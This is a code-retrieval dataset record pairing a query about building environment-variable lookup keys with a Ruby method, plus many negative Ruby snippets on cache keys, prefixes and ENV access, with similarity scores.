\"#{@@PREFIX}#{@type}-#{@version.gsub(\".\",\"-\")}\"\n end", "def generate_key(*args)\n @cache_keys[args.join] ||= @key_generator.generate_key(*args)\n end", "def get_key_prefix(username, email, uuid, superuser, profile_data = nil)\n if profile_data\n profile = \" --profile #{Shellwords.escape(profile_data).gsub('\"', '\\\\\"')}\"\n else\n profile = \"\"\n end\n \n superuser = superuser ? \" --superuser\" : \"\"\n\n %Q{command=\"rs_thunk --username #{username} --uuid #{uuid}#{superuser} --email #{email}#{profile}\" }\n end", "def etcd_key\n self.class.etcd_schema.path_with_keys do |sym|\n self.instance_variable_get(\"@#{sym}\")\n end\n end", "def expand_cache_key(key, namespace = nil)\n expanded_cache_key = namespace ? +\"#{namespace}/\" : +\"\"\n\n if prefix = ENV[\"RAILS_CACHE_ID\"] || ENV[\"RAILS_APP_VERSION\"]\n expanded_cache_key << \"#{prefix}/\"\n end\n\n expanded_cache_key << retrieve_cache_key(key)\n expanded_cache_key\n end", "def registry_key(key)\n key = key.to_s.tr('_', '')\n @@registry.keys.detect do |ref|\n ref = ref.downcase\n snake_parts = ref.split('::')\n until(snake_parts.empty?)\n break if snake_parts.join('') == key\n snake_parts.shift\n end\n !snake_parts.empty?\n end\n end", "def key_prefix(payload)\n object_key = File.join(\n config.fetch(:bucket_prefix, 'published-repositories'),\n payload.get(:data, :account, :name)\n )\n end", "def option_name(key)\n case key\n when Symbol ; \"#{RACK_ENV_NS}.#{key}\"\n when String ; key\n else raise ArgumentError\n end\n end", "def get_cache_key(target_name)\n if Rscons.phony_target?(target_name)\n PHONY_PREFIX + target_name.to_s\n else\n target_name\n end\n end", "def get_reference_value(key, context, parameters)\n if key.start_with?('env.')\n env_key = key[4..-1]\n raise InterpolationError.new(\"Cannot interpolate '#{key}' - ENV[#{env_key}] not defined\") unless ENV.has_key?(env_key)\n ENV[env_key]\n elsif parameters.has_key?(key)\n parameters[key]\n else\n context.get_value(key, parameters: parameters)\n end\n end", "def key\n @key ||= case options.case\n when :lower_camel\n base_key.camelize(:lower)\n when :upper_camel\n base_key.camelize(:upper)\n when :snake\n base_key.underscore\n end\n end", "def get_primary_keyfile\n ENV['NOT_DOCKERIZED'] ? ENV['SERVICE_ACCOUNT_KEY'] : File.absolute_path(ENV['SERVICE_ACCOUNT_KEY'])\n end", "def rest_of_key(namespace)\n return nil if @key == namespace\n\n key = @key.to_s\n\n index = key.index(namespace.to_s) && (namespace.to_s.length + 1)\n key[index, key.length].to_sym if index\n end", "def prefix pref_name\n @context['prefix'] = pref_name\n end", "def key_from_path(path)\n path.basename.to_s.split('.', 2).first.to_sym\n end", "def env_name(key)\n key = key.to_s\n if key =~ HTTP_HEADER\n key = key.upcase.tr(\"-\", \"_\")\n key = \"HTTP_\" + key unless CGI_VARIABLES.include?(key)\n end\n key\n end", "def key_template\n @key_template ||= [*name.downcase.split(\"::\"), \"%<id>d\"].join(\":\")\n end", "def key\n name.underscore.tr('/', '_').to_sym\n end", "def namespaced(key)\n return [@namespace, key].join(':')\n end", "def namespaced(key)\n return [@namespace, key].join(':')\n end", "def namespaced(key)\n [@namespace, key].join(':')\n end", "def prefix?(prefix)\n key.to_pub.include?(prefix)\n end", "def redis_prefix\n @redis_prefix ||= name.underscore\n end", "def prefix\n @data['prefix']\n end", "def parameter_key(term)\n string = term.to_s\n string = string.sub(/^[a-z\\d]*/) { $&.capitalize }\n string.gsub!(/(?:_|(\\/))([a-z\\d]*)/i) { \"#{$1}#{$2.capitalize}\" }\n string\n end", "def parameter_key(term)\n string = term.to_s\n string = string.sub(/^[a-z\\d]*/) { $&.capitalize }\n string.gsub!(/(?:_|(\\/))([a-z\\d]*)/i) { \"#{$1}#{$2.capitalize}\" }\n string\n end", "def key\n key = self.name\n key = Economic::Support::String.demodulize(key)\n key = Economic::Support::String.underscore(key)\n key.intern\n end", "def build_key(last_part)\n [scope[:id], super].compact.join(\"_\")\n end", "def make_key(type, name)\n \"%#{type}%#{name}\"\n end", "def key\n name = self.class.name.split(\"::\").last\n Util.underscore(name).to_sym\n end", "def tcfg_set_env_var_prefix(prefix)\n @tcfg_env_var_prefix = prefix\n tcfg_reset\n end", "def prepare_key(node)\n node = node.name if node.is_a? Deployment::Node\n node.to_s.to_sym\n end" ]
[ "0.6844324", "0.671606", "0.64431065", "0.63991284", "0.638942", "0.638942", "0.6369225", "0.63652045", "0.63355213", "0.633547", "0.62950987", "0.62266463", "0.6183097", "0.6073376", "0.60113984", "0.5983722", "0.59718144", "0.59591836", "0.59541476", "0.5947115", "0.5945495", "0.5942775", "0.5936038", "0.5936038", "0.5936038", "0.5936038", "0.5936038", "0.5936038", "0.5936038", "0.5936038", "0.5936038", "0.5936038", "0.5936038", "0.5936038", "0.59059876", "0.5904266", "0.5869163", "0.58577603", "0.5857666", "0.58260924", "0.5817696", "0.5811216", "0.5784339", "0.5784339", "0.57770216", "0.5769596", "0.5762434", "0.5762434", "0.5759353", "0.57580525", "0.5755805", "0.57547307", "0.5753232", "0.572989", "0.5718376", "0.56829643", "0.56736124", "0.5663246", "0.5657232", "0.56378865", "0.56299627", "0.56252664", "0.5601036", "0.5601036", "0.55902964", "0.5586822", "0.5585722", "0.557417", "0.55570143", "0.5526848", "0.5524454", "0.55172884", "0.550919", "0.5501638", "0.54874194", "0.54701567", "0.5465368", "0.5454966", "0.54482925", "0.54343987", "0.54311496", "0.54302496", "0.5417399", "0.5410847", "0.54005474", "0.53837484", "0.53837484", "0.53779906", "0.5371538", "0.5359778", "0.53576654", "0.5354967", "0.5354967", "0.5351428", "0.5348349", "0.53389835", "0.5336717", "0.532651", "0.5312479" ]
0.58030295
43
Returns a key to be used in looking up an environment variable that contains the provided keys.
def with_key_for(keys = EMPTY_ARRAY) [*keys].join('_').upcase end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def env_name(key); end", "def get_env_var key\n key = key.to_s\n exec(Beaker::Command.new(\"env | grep ^#{key}=\"), :accept_all_exit_codes => true).stdout.chomp\n end", "def get_env(key)\n\n end", "def [](key)\n @env[key]\n end", "def [](key)\n @env[key]\n end", "def qualified_key\n [@env.namespace.to_s, @key].reject(&:empty?).compact.join('.')\n end", "def path_key\n env.keys.grep(/\\Apath\\Z/i).first\n end", "def env_keys\n mapping.values\n end", "def env(key) \n str = key.to_s \n env?(str) ? ENV[str] : nil\n end", "def key\n instance_variables\n .collect { |variable| instance_variable_get(variable) }\n .join\n end", "def env_key; end", "def get_reference_value(key, context, parameters)\n if key.start_with?('env.')\n env_key = key[4..-1]\n raise InterpolationError.new(\"Cannot interpolate '#{key}' - ENV[#{env_key}] not defined\") unless ENV.has_key?(env_key)\n ENV[env_key]\n elsif parameters.has_key?(key)\n parameters[key]\n else\n context.get_value(key, parameters: parameters)\n end\n end", "def env_var_to_hold_api_client_primary_key\n @env_var_to_hold_api_client_primary_key.to_s\n end", "def full_key\n [name, key].join(\"/\")\n end", "def getKey; @args.map { |a| a.to_s }.join(':').to_sym end", "def find_key(key)\n if env_map.has_key?(key)\n return { key => env_map[key]}\n else\n raise 'Key not found!'\n end\n end", "def lookup_variable(key)\n\n fexp.lookup_variable(key)\n end", "def get_key(key)\n\t\t\tif @prod_env\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_prod\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_prod\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_dev\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_dev\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def key_for(key)\n key_parts = []\n key_parts << @namespace if @namespace && @namespace.length > 0\n \n # Gracefully handles arrays passed here as well, due to the flatten\n key_parts << key\n key_parts.flatten.join ':'\n end", "def look_for_environment_variables\n unless ENV[\"GOOGLE_CLOUD_KEYFILE\"].nil?\n return File.read(ENV[\"GOOGLE_CLOUD_KEYFILE\"])\n end\n\n ENV[\"GOOGLE_CLOUD_KEYFILE_JSON\"]\n end", "def get(key)\n @variables[key.to_sym]\n end", "def env_variable_names\n [\n CONSUMER_KEY_NAME,\n CONSUMER_SECRET_NAME,\n ACCESS_TOKEN_KEY_NAME,\n ACCESS_TOKEN_SECRET_NAME\n ]\n end", "def key\n key = config[:key] || flags.last.sub(/\\A--?/, '')\n key = key.tr '-', '_' if underscore_flags?\n key.to_sym\n end", "def env(key)\n capture(\"echo $#{key}\")\n end", "def environment_item prefix, key, value\n {Oaf::Util.prepare_key(prefix, key) => Oaf::Util.flatten(value)}\n end", "def full_key(namespace, key)\n \"#{namespace}:#{key}\"\n end", "def env_name(key)\n key = key.to_s\n if key =~ HTTP_HEADER\n key = key.upcase.tr(\"-\", \"_\")\n key = \"HTTP_\" + key unless CGI_VARIABLES.include?(key)\n end\n key\n end", "def key\n (key_name || name).to_sym\n end", "def key(*args)\n args.compact.join(\"/\")\n end", "def key_from_path(path)\n path.basename.to_s.split('.', 2).first.to_sym\n end", "def retrieve(key, environment)\n environment ||= 'default'\n self.fetch(environment, {})[key.to_s]\n end", "def lookup_key(uid, provider=nil)\n [provider, uid].compact.join('_').to_sym\n end", "def lookup_variable (varname)\n\n env, var = lookup_environment(varname)\n env[var]\n end", "def namespaced_key(key)\n \"#{@namespace}_#{key}\"\n end", "def key(*args)\n args.join(\":\")\n end", "def project_setting(key)\n data.config[config[:environment]][key]\n end", "def option_name(key)\n case key\n when Symbol ; \"#{RACK_ENV_NS}.#{key}\"\n when String ; key\n else raise ArgumentError\n end\n end", "def [](key, file=:application)\n with_file(file, key) || ENV[key.to_s.upcase]\n end", "def access_key_id\n ENV[\"#{partition&.upcase}_ACCESS_KEY_ID\"] || credentials[\"#{partition}_access_key_id\"]\n end", "def get_key(env_name, config_key)\n # First read in ENV\n return ENV[env_name] if ENV[env_name]\n\n # Otherwise read from _config.yml\n if @config['algolia'] && @config['algolia'][config_key]\n return @config['algolia'][config_key]\n end\n\n nil\n end", "def environment\n @env_vars ||= VARS.reduce({}) do |hash, (key, value)|\n hash.merge(\"#{prefix}_#{value}\" => send(key))\n end.merge(env)\n end", "def env_from_parameters parameters, key_prefix=\"hookhand\"\n env = {}\n parameters.each do |key, value|\n if key.is_a? Enumerable\n env.merge! env_from_parameters(key, key_prefix)\n next\n end\n\n env_key = \"#{key_prefix.upcase}_#{key.to_s.upcase}\"\n if value.is_a? Enumerable\n env.merge! env_from_parameters(value, env_key)\n else\n env[env_key] = value.to_s\n end\n end\n env\n end", "def full_key(relative_key)\n \"#{@root}/#{relative_key}\"\n end", "def variable(project, key)\n get(\"/projects/#{url_encode project}/variables/#{key}\")\n end", "def _cache_key(*keys)\n # monkey patch to avoid SystemStackError: stack level too deep \n if keys.to_s.include?(\"i18n_transliterate_rule\")\n keys.to_s\n else\n keys.map(&:to_s).join(\" \").parameterize.underscore \n end \n end", "def inline_variables( command )\n\t\tpairs = command.scan( ENV_VARIABLE_REGEX )\n\t\treturn Hash[ *pairs.flatten ]\n\tend", "def lookup(key)\n\t\t\t\treturn(@keys[key])\n\t\t\tend", "def lookup(key)\n\t\t\t\treturn(@keys[key])\n\t\t\tend", "def base_key_label\n @key_label_base ||= [RedisModel::Configurations.instance.app_name, RedisModel::Configurations.instance.environment, @klass.name.underscore].compact.join(':')\n end", "def keyname(key)\n\t\t@keynames[key]\n\tend", "def get_key_from_command(argv)\n case argv[0].to_s.downcase\n when \"info\",\"multi\",\"exec\",\"slaveof\",\"config\",\"shutdown\",\"select\"\n nil\n else\n # Unknown commands, and all the commands having the key\n # as first argument are handled here:\n # set, get, ...\n argv[1]\n end\n end", "def key\n name.underscore.tr('/', '_').to_sym\n end", "def env(key)\n if key.nil?\n nil\n else\n ENV[key]\n end\n end", "def get( key )\n key = key.to_s\n env_query_params[ key ]\n end", "def const(key)\n Moto::Lib::Config.environment_const(key)\n end", "def env_by_short_name(short_name)\n @env_map[short_name]\n end", "def key_for(resource_name)\n [prefix, resource_name].join\n end", "def local_extraction(local_keys, context_name: '_context')\n\t\t\t\tlocal_keys.map do |k|\n\t\t\t\t\tif k.to_s =~ /\\A[a-z_][a-zA-Z_0-9]*\\z/\n\t\t\t\t\t\t\"#{k} = #{context_name}[#{k.inspect}]\"\n\t\t\t\t\telse\n\t\t\t\t\t\traise \"invalid locals key: #{k.inspect} (keys must be variable names)\"\n\t\t\t\t\tend\n\t\t\t\tend.join(\"\\n\")+\"\\n\"\n\t\t\tend", "def getenv(key=nil)\n if @rye_getenv && @rye_getenv.empty? && self.can?(:env)\n vars = self.quietly { env } rescue []\n vars.each do |nvpair| \n # Parse \"GLORIA_HOME=/gloria/lives/here\" into a name/value\n # pair. The regexp ensures we split only at the 1st = sign\n n, v = nvpair.scan(/\\A([\\w_-]+?)=(.+)\\z/).flatten\n @rye_getenv[n] = v\n end\n end\n key.nil? ? @rye_getenv : @rye_getenv[key.to_s]\n end", "def get_primary_keyfile\n ENV['NOT_DOCKERIZED'] ? ENV['SERVICE_ACCOUNT_KEY'] : File.absolute_path(ENV['SERVICE_ACCOUNT_KEY'])\n end", "def const(key)\n Moto::Lib::Config.environment_const(key)\n end", "def long_key\n {'EXP'=>'Experimental Assay','MODEL'=>'Modelling Analysis'}[key]\n end", "def get_env_mappings()\n {\n 'prd' => 'production',\n 'prv' => 'preview',\n 'rev' => 'review',\n 'stg' => 'staging',\n 'qa' => 'qa',\n 'dev' => 'development',\n 'dvp' => 'devops',\n }\nend", "def generate_key(*args)\n @cache_keys[args.join] ||= @key_generator.generate_key(*args)\n end", "def etcd_key\n self.class.etcd_schema.path_with_keys do |sym|\n self.instance_variable_get(\"@#{sym}\")\n end\n end", "def get_value_from_dotenv(var)\n line=open('./.env') { |f| f.lines.find { |line| line.include?(var) } }\n line=line.chomp\n return line.split(\"=\").last.split(' ').first.tr('\"','')\nend", "def key\n key = self.name\n key = Economic::Support::String.demodulize(key)\n key = Economic::Support::String.underscore(key)\n key.intern\n end", "def prepare_key(task)\n task = task.name if task.is_a? Deployment::Task\n task.to_s.to_sym\n end", "def lookup_value(key, context=nil)\n [named_context[context] || {}, global].map {|c| c[key]}.compact.first\n end", "def namespace_key(name)\n namespaces[name][:key]\n end", "def env(key)\n if key.nil?\n nil\n elsif override_env.present?\n override_env[key]\n else\n ENV[key]\n end\n end", "def get_apollo_variables(env)\n\tapollo_env_vars = {}\n\tapollo_prefix = /^APOLLO_/\n\n\tenv.each { |key, value|\n\t\tif key.match(apollo_prefix)\n\t\t\tkey_name = key.gsub(apollo_prefix, '').to_sym\n\t\t\tapollo_env_vars[key_name] = value\n\t\tend\n\t}\n\n\treturn apollo_env_vars\nend", "def get(key, default=nil)\n rv = nil\n\n [*key].each do |k|\n # Lets check for this key\n rv = @config.get(k.to_s)\n break unless rv.nil?\n\n # If it doesn't exist, check with env\n rv = @config.get(KnoxBoxWeb::Application.environment.to_s << '.' << k.to_s)\n break unless rv.nil?\n end\n\n return default if rv.nil?\n return rv\n end", "def env_var(field)\n \"DCOS_#{field.to_s.upcase}\"\n end", "def [](key)\n global[key]\n end", "def full_key_path\n Pathname.new(spec.key_path).expand_path(@base_dir)\n end", "def prepare_key(node)\n node = node.name if node.is_a? Deployment::Node\n node.to_s.to_sym\n end", "def hk_env(box)\n %x(hk env -a #{box})\nend", "def local_name\n \"#{key}_value\"\n end", "def alternate_key(key)\n case key\n when String then key.to_sym\n when Symbol then key.to_s\n end\n end", "def local_env(body)\n env = ''\n vtmp = @var.dup\n vtmp[:pub_rsa] = '[PUBLIC RSA KEY]'\n vtmp[:prv_rsa] = '[PRIVATE RSA KEY]'\n vtmp[:user_keys] = @var[:user_keys].collect { |k,_| k }\n vtmp.each { |k,v| env << \"#{(k.to_s + ' '*20)[0,20]} => #{v.inspect}\\n\" }\n _notice \" -- Current Environment Variables --\\n#{env}\"\nend", "def key_template\n @key_template ||= [*name.downcase.split(\"::\"), \"%<id>d\"].join(\":\")\n end", "def get_key_from_command(argv)\n case argv[0].to_s.downcase\n when \"info\",\"multi\",\"exec\",\"slaveof\",\"config\",\"shutdown\"\n return nil\n when \"bitop\"\n return argv[2]\n else\n # Unknown commands, and all the commands having the key\n # as first argument are handled here:\n # set, get, ...\n return argv[1]\n end\n end", "def registry_key(key)\n key = key.to_s.tr('_', '')\n @@registry.keys.detect do |ref|\n ref = ref.downcase\n snake_parts = ref.split('::')\n until(snake_parts.empty?)\n break if snake_parts.join('') == key\n snake_parts.shift\n end\n !snake_parts.empty?\n end\n end", "def key\n @key ||= case options.case\n when :lower_camel\n base_key.camelize(:lower)\n when :upper_camel\n base_key.camelize(:upper)\n when :snake\n base_key.underscore\n end\n end", "def instance_var_sym(key)\n \"@#{key}\".to_sym\n end", "def make_key(type, name)\n \"%#{type}%#{name}\"\n end", "def config(key)\n env_key = ENV[key.upcase.gsub(/[\\.-]/, '_')]\n return env_key if env_key and not env_key.strip.empty?\n\n str_to_bool `git config --global --get-all #{key}`.strip\n end", "def version_key(key)\n return \"#{key}_v#{VERSION}\"\n end", "def get_key_from_command(argv)\n case argv[0].to_s.downcase\n when \"info\",\"multi\",\"exec\",\"slaveof\",\"config\",\"shutdown\"\n return nil\n when \"bitop\"\n return argv[2]\n else\n # Unknown commands, and all the commands having the key\n # as first argument are handled here:\n # set, get, ...\n return argv[1]\n end\n end", "def fetch(*keys)\n keys = keys.map(&:to_sym)\n Rails.configuration.branding.dig(*keys)\n end", "def env_vars_prefix\n self.class.parent.name.underscore.upcase.tr('/', '_')\n end", "def keys_file_path_from_home\n return \".fastlane/ci/.keys\"\n end", "def env_variable_prefix\n 'APP_'\n end", "def env_variable_prefix\n 'APP_'\n end", "def compose_ems_ref(*keys)\n keys.join('_')\n end", "def determine_natural_key\n Array(configuration[:natural_key]).collect(&:to_sym)\n end", "def msys_apps_envvars_for_cmd\n vars = with_msys_install_hint{ msys_apps_envvars }\n vars.map do |key, val|\n \"#{key}=#{val}\"\n end.join(\"\\n\")\n end", "def keyName _args\n \"keyName _args;\" \n end", "def get_environment_strings\n env_ptr = GetEnvironmentStringsW()\n\n # pass :invalid => :replace to the Ruby String#encode to use replacement characters\n pairs = env_ptr.read_arbitrary_wide_string_up_to(65534, :double_null, { :invalid => :replace })\n .split(?\\x00)\n .reject { |env_str| env_str.nil? || env_str.empty? || env_str[0] == '=' }\n .reject do |env_str|\n # reject any string containing the Unicode replacement character\n if env_str.include?(\"\\uFFFD\")\n Puppet.warning(_(\"Discarding environment variable %{string} which contains invalid bytes\") % { string: env_str })\n true\n end\n end\n .map { |env_pair| env_pair.split('=', 2) }\n Hash[ pairs ]\n ensure\n if env_ptr && ! env_ptr.null?\n if FreeEnvironmentStringsW(env_ptr) == FFI::WIN32_FALSE\n Puppet.debug \"FreeEnvironmentStringsW memory leak\"\n end\n end\n end", "def cache_key(search_string)\n \"_key_#{search_string}\"\n end" ]
[ "0.6881525", "0.6597435", "0.64072", "0.6345259", "0.6345259", "0.63299143", "0.62887466", "0.62720126", "0.62068343", "0.6181634", "0.6142602", "0.6075876", "0.60445076", "0.5964742", "0.59280294", "0.5899827", "0.57967794", "0.57951295", "0.57826555", "0.5743313", "0.5742646", "0.57417953", "0.5712518", "0.5702165", "0.5693147", "0.566125", "0.56566614", "0.5653683", "0.5621817", "0.5611952", "0.5611759", "0.55980146", "0.5595079", "0.5578213", "0.55667555", "0.5560192", "0.5553162", "0.5527876", "0.5503083", "0.5495587", "0.548448", "0.54798454", "0.5474364", "0.5474011", "0.5431772", "0.54092276", "0.5404223", "0.5404223", "0.5400307", "0.53986627", "0.5397755", "0.539209", "0.53819305", "0.537815", "0.5365025", "0.5361765", "0.5354603", "0.5342576", "0.5341175", "0.53349143", "0.5329452", "0.5308063", "0.53027534", "0.5298279", "0.529481", "0.52907735", "0.52801114", "0.5278506", "0.5278074", "0.52764416", "0.5269284", "0.5255849", "0.52542", "0.5252904", "0.52526927", "0.5243925", "0.52417684", "0.52416724", "0.5240368", "0.523693", "0.5236221", "0.5223855", "0.52172524", "0.5213383", "0.52051336", "0.520099", "0.519285", "0.5188576", "0.5182733", "0.5181108", "0.51778334", "0.5165314", "0.5165213", "0.51611406", "0.51611406", "0.51581293", "0.51564527", "0.5155202", "0.51535165", "0.5146619", "0.5146329" ]
0.0
-1
Returns a set of keys to be used in looking up an environment variable from the provided keys.
def fetch_keys_for(keys = EMPTY_ARRAY) return [ with_prefixes_namespaces_targets_key_for(keys), with_namespaces_targets_key_for(keys), with_prefixes_namespaces_key_for(keys), with_namespaces_key_for(keys), with_prefixes_key_for(keys), with_key_for(keys) ] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def env_keys\n mapping.values\n end", "def variable_names()\n @var_set.keys\n end", "def get_environment_strings\n env_ptr = GetEnvironmentStringsW()\n\n # pass :invalid => :replace to the Ruby String#encode to use replacement characters\n pairs = env_ptr.read_arbitrary_wide_string_up_to(65534, :double_null, { :invalid => :replace })\n .split(?\\x00)\n .reject { |env_str| env_str.nil? || env_str.empty? || env_str[0] == '=' }\n .reject do |env_str|\n # reject any string containing the Unicode replacement character\n if env_str.include?(\"\\uFFFD\")\n Puppet.warning(_(\"Discarding environment variable %{string} which contains invalid bytes\") % { string: env_str })\n true\n end\n end\n .map { |env_pair| env_pair.split('=', 2) }\n Hash[ pairs ]\n ensure\n if env_ptr && ! env_ptr.null?\n if FreeEnvironmentStringsW(env_ptr) == FFI::WIN32_FALSE\n Puppet.debug \"FreeEnvironmentStringsW memory leak\"\n end\n end\n end", "def get_apollo_variables(env)\n\tapollo_env_vars = {}\n\tapollo_prefix = /^APOLLO_/\n\n\tenv.each { |key, value|\n\t\tif key.match(apollo_prefix)\n\t\t\tkey_name = key.gsub(apollo_prefix, '').to_sym\n\t\t\tapollo_env_vars[key_name] = value\n\t\tend\n\t}\n\n\treturn apollo_env_vars\nend", "def inline_variables( command )\n\t\tpairs = command.scan( ENV_VARIABLE_REGEX )\n\t\treturn Hash[ *pairs.flatten ]\n\tend", "def get_all_keys\n keys = Hash.new()\n @packages.each do |key, value|\n keys[key] = value.stringpool_keystrings.values\n end\n\n return keys\n end", "def list_user_env_vars(gear, env_var_names)\n args = build_base_gear_args(gear)\n args['--with-keys'] = env_var_names.join(' ') if env_var_names.present?\n result = execute_direct(@@C_CONTROLLER, 'user-var-list', args)\n parse_result(result)\n end", "def environment_variables\n return [] unless options[\"environment_variables\"]\n options[\"environment_variables\"].map do |options|\n EnvironmentVariable.new options\n end\n end", "def env_brine_vars\n ENV.select{|k, v| k.start_with? 'BRINE_VAR_'}\n .transform_keys{|k| k.delete_prefix 'BRINE_VAR_' }\n end", "def get_env_var key\n key = key.to_s\n exec(Beaker::Command.new(\"env | grep ^#{key}=\"), :accept_all_exit_codes => true).stdout.chomp\n end", "def env_set?(*vars)\n vars.map{ |v| ENV.has_key?(v) }.all?\n end", "def keys\n (@defs.keys.to_set + @extra_inputs.keys.to_set).to_a\n end", "def list_user_env_variables(vars=[])\n result_io = get_app_dns_gear.list_user_env_vars(vars)\n JSON.parse(result_io.resultIO.string)\n end", "def keys\n keys = []\n each_pair {|k,v| keys << k}\n keys\n end", "def keys\n\n (@services.keys + conf.keys).uniq.sort\n end", "def get_many_with_keys(keys)\n keys.map {|key| get_with_key(key)}\n end", "def keys\n list = []\n each_key{|key| list << key}\n list\n end", "def keys\n lookup_map.keys\n end", "def keys()\n @locals.keys\n end", "def keys\n return full_path.to_s.split('.') if full_path\n return [key.to_s] unless path&.present?\n\n [path, key].compact.join('.').split('.')\n end", "def list_keys\n @keys.keys\n end", "def extract_requirements(reqs)\n tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_s)}\n # Make sure keys are always symbols\n Hash[tmp.map{|(k,v)| [k.to_sym,v]}]\n end", "def env?(*keys)\n if keys.respond_to?(:all?)\n !keys.all? { |k| ENV[k].blank? }\n else\n !ENV[keys].blank?\n end\n end", "def names\n envs.map { |config| config.name }\n end", "def environment\n @env_vars ||= VARS.reduce({}) do |hash, (key, value)|\n hash.merge(\"#{prefix}_#{value}\" => send(key))\n end.merge(env)\n end", "def env_variable_names\n [\n CONSUMER_KEY_NAME,\n CONSUMER_SECRET_NAME,\n ACCESS_TOKEN_KEY_NAME,\n ACCESS_TOKEN_SECRET_NAME\n ]\n end", "def to_a\n variables.keys\n end", "def aggregate_missing_env_vars\n example_env_vars.inject([]) do |array, key_and_value|\n key = key_and_value[0]\n\n begin\n ENV.fetch(key)\n array\n rescue KeyError\n array << key\n end\n end\n end", "def keys\n values.map(&:to_sym)\n end", "def key_ids\n @keys.keys\n end", "def get_env(key)\n\n end", "def list_keys\n @keydict.keys\n end", "def msys_apps_envvars_for_cmd\n vars = with_msys_install_hint{ msys_apps_envvars }\n vars.map do |key, val|\n \"#{key}=#{val}\"\n end.join(\"\\n\")\n end", "def getenv(key=nil)\n if @rye_getenv && @rye_getenv.empty? && self.can?(:env)\n vars = self.quietly { env } rescue []\n vars.each do |nvpair| \n # Parse \"GLORIA_HOME=/gloria/lives/here\" into a name/value\n # pair. The regexp ensures we split only at the 1st = sign\n n, v = nvpair.scan(/\\A([\\w_-]+?)=(.+)\\z/).flatten\n @rye_getenv[n] = v\n end\n end\n key.nil? ? @rye_getenv : @rye_getenv[key.to_s]\n end", "def cmd_getenv(*args)\n vars = client.sys.config.getenvs(*args)\n\n if vars.length == 0\n print_error(\"None of the specified environment variables were found/set.\")\n else\n table = Rex::Text::Table.new(\n 'Header' => 'Environment Variables',\n 'Indent' => 0,\n 'SortIndex' => 1,\n 'Columns' => [\n 'Variable', 'Value'\n ]\n )\n\n vars.each do |var, val|\n table << [ var, val ]\n end\n\n print_line\n print_line(table.to_s)\n end\n end", "def env_from_parameters parameters, key_prefix=\"hookhand\"\n env = {}\n parameters.each do |key, value|\n if key.is_a? Enumerable\n env.merge! env_from_parameters(key, key_prefix)\n next\n end\n\n env_key = \"#{key_prefix.upcase}_#{key.to_s.upcase}\"\n if value.is_a? Enumerable\n env.merge! env_from_parameters(value, env_key)\n else\n env[env_key] = value.to_s\n end\n end\n env\n end", "def keys_for(key = EMPTY_STRING)\n key.split(NAMESPACE_PATTERN)\n end", "def keys_for(key = EMPTY_STRING)\n key.split(NAMESPACE_PATTERN)\n end", "def search_opts(keys)\n val = Rake.application.options.send(keys[0].downcase.to_sym)\n return parse_opt(val) if !val.nil?\n #\n keys.each do |k|\n val = ENV[k.upcase]\n return parse_opt(val) if !val.nil?\n end\n #\n return nil if !@yaml\n keys.each do |k|\n val = @yaml[k.upcase]\n return val if !val.nil?\n end\n nil\n end", "def search_opts(keys)\n val = Rake.application.options.send(keys[0].downcase.to_sym)\n return parse_opt(val) if !val.nil?\n #\n keys.each do |k|\n val = ENV[k.upcase]\n return parse_opt(val) if !val.nil?\n end\n #\n return nil if !@yaml\n keys.each do |k|\n val = @yaml[k.upcase]\n return val if !val.nil?\n end\n nil\n end", "def set_env_variables(env_vars = [])\n env_vars.each do |_v|\n key, value = _v.split(\"=\")\n\n ENV[key] = value\n end\n end", "def deconstruct_keys(keys)\n h = {}\n instance_variables.each do |v|\n value = instance_variable_get(v)\n h[v[1..].to_sym] = value unless value.nil?\n end\n h\n end", "def key_name_groups\n KEY_NAME_GROUPS.map { |kn| const_get kn }\n end", "def keys\n @navigable_map.key_set.to_a\n end", "def keys\n prefixed_keys.map { |key|\n Rack::Attack.unprefix_key(key)\n }\n end", "def keys\n prefixed_keys.map { |key|\n Rack::Attack.unprefix_key(key)\n }\n end", "def scope_names\n keys.map { |k| k.to_s }\n end", "def script_aliases\n arr = Array.new\n @script_aliases.each do |key, value|\n arr.push(key)\n end\n return arr\n end", "def values_at(*keys)\n keys.map { |k| lookup(k) }\n end", "def get_all_path\n # some default directories\n env_paths = []\n env_paths << \"/bin\"\n env_paths << \"/usr/bin\"\n env_paths << \"/usr/local/bin\"\n env_paths << \"/sbin\"\n env_paths << \"/usr/sbin\"\n env_paths << \"/usr/local/sbin\"\n env_paths << \"/opt/bin\"\n env_paths += cmd_exec(\"echo $PATH\").split(\":\")\n env_paths.uniq\n end", "def array_of_keys(key)\n n = query(@connection, key)\n if n.nil?\n []\n else\n a = []\n n.each do |value|\n a.push(value.key.gsub(key, ''))\n end\n a\n end\n end", "def keys_and_usernames\n keys.map do |key|\n [key[0], key[1]].join(' ')\n end\n end", "def keys\n @set.transpose.first || []\n end", "def set_from_env\n ENV_TO_KEY.each do |env_key, key|\n next unless (value = ENV[env_key])\n\n type, key = key if key.is_a? Array\n\n value =\n case type\n when :int then value.to_i\n when :float then value.to_f\n when :bool then !%w[0 false].include?(value.strip.downcase)\n when :list then value.split(/[ ,]/)\n when :dict then Hash[value.split(/[&,]/).map { |kv| kv.split('=') }]\n else value\n end\n\n send(\"#{key}=\", value)\n end\n end", "def inspect_keys(keys, server = nil)\n Hash[*Array(keys).map do |key|\n [key, server || server_by_key(key)]\n end.flatten]\n end", "def local_extraction(local_keys, context_name: '_context')\n\t\t\t\tlocal_keys.map do |k|\n\t\t\t\t\tif k.to_s =~ /\\A[a-z_][a-zA-Z_0-9]*\\z/\n\t\t\t\t\t\t\"#{k} = #{context_name}[#{k.inspect}]\"\n\t\t\t\t\telse\n\t\t\t\t\t\traise \"invalid locals key: #{k.inspect} (keys must be variable names)\"\n\t\t\t\t\tend\n\t\t\t\tend.join(\"\\n\")+\"\\n\"\n\t\t\tend", "def get_keys()\n\t\t\treturn @config.keys\n\t\tend", "def required_environment_variables\n environment_variables.select &:required\n end", "def keys\n\t\t\treturn @lookup\n\t\tend", "def ssh_keys(env, ids_only = false)\n account = env[:sl_client][\"SoftLayer_Account\"]\n acc_keys = sl_warden { 